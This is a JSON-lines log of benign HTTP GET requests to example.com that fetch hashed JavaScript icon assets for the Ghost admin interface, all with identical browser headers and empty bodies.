{"method": "GET", "target": "/ghost/assets/code-DG4vO94L.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/coins-CumgzPZa.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/copy-3K3KXqHW.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/credit-card-eZVjvrhJ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/pin-off-lnj6yrbM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/download-C43CSKLy.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/ellipsis-DCpJZgxv.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/external-link-CKnhHaI-.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/eye-off-6sJT53Wg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/eye-BUSwIvtb.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/text-wrap-D8X937cr.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/mouse-pointer-2-off-JHhWtGhM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/gift-CjBqHEmp.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/globe-B4vZvmY9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/hash-By5cPrAh.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/heart-CDBO0M2K.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/history-BLta4f7G.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/user-round-plus-CNwSXyN2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/image-DJkRwGFl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/plug-BeLrBarN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/inbox-COmMmFZS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/smartphone-j5_wyhqO.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/layers-7kDTLSGw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/link-CZvXk_iN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/list-filter-Bt2MgNgY.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/map-pin-DPhi-Z-z.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/loader-circle-DR6LgQk9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/lock-CJUB02yf.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/log-out-ClF6eb3N.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/mouse-pointer-click-IX513WkU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/user-pen-DhntSZKe.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/mail-warning-BcU9ft9M.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/mail-x-CHliXg1j.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/mail-PBEdl0JE.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/megaphone-CACSVFEk.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/menu-DwekVO1I.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/message-circle-off-DoxKUv2y.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/message-circle-Dkb2Sjq_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/message-square-off-Rea4Wik2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/message-square-DRPo5CWb.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/minus-9ieoP52m.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/panel-left-Dum5PjJB.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/pen-line-D0oKPczj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/pen-i7U0QAik.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/pencil-DZetlUon.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/pipette-B0ss10AX.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/plus-B4c_-nfT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/rectangle-vertical-_u1GWlCm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/settings-2-C4mzAnNo.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/repeat-2-D9d_VFn2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/repeat-nLPwqdMF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/reply-BH3O9H3I.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/search-Bl7qfg4J.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/search-x-DYxBa1EF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/send-BTCZEaT4.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/text-align-center-DVac9_Hi.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/share-ZZz95KTn.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/sprout-CVztvAnl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/square-B-5NhIsj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/squircle-B733mDoc.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/star-Bpul5S_D.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/sticky-note-DU9c-Ra1.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/store-B_Ejpv31.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/table-of-contents-sPKkwCn4.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/tag-C6OB2BXE.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/tags-ConC9hg-.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/text-align-start-CnvG6LkS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/thumbs-down-x3lSinKl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/thumbs-up-B1AHlahq.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/trash-2-yhtPWCHA.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/trash-CuY-N3o6.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/trending-down-DF5-DLrU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/trending-up-ZeqNsItu.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/triangle-alert-C2nVQPSI.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/type-DMVGYbHH.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/undo-2-FoBfGQWM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/unlink-U-Rg6HnP.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/upload-C-uMUf3q.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/user-plus-Da4UvDKo.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/user-round-check-fQqHvyjW.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/user-round-x-DC7feApp.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
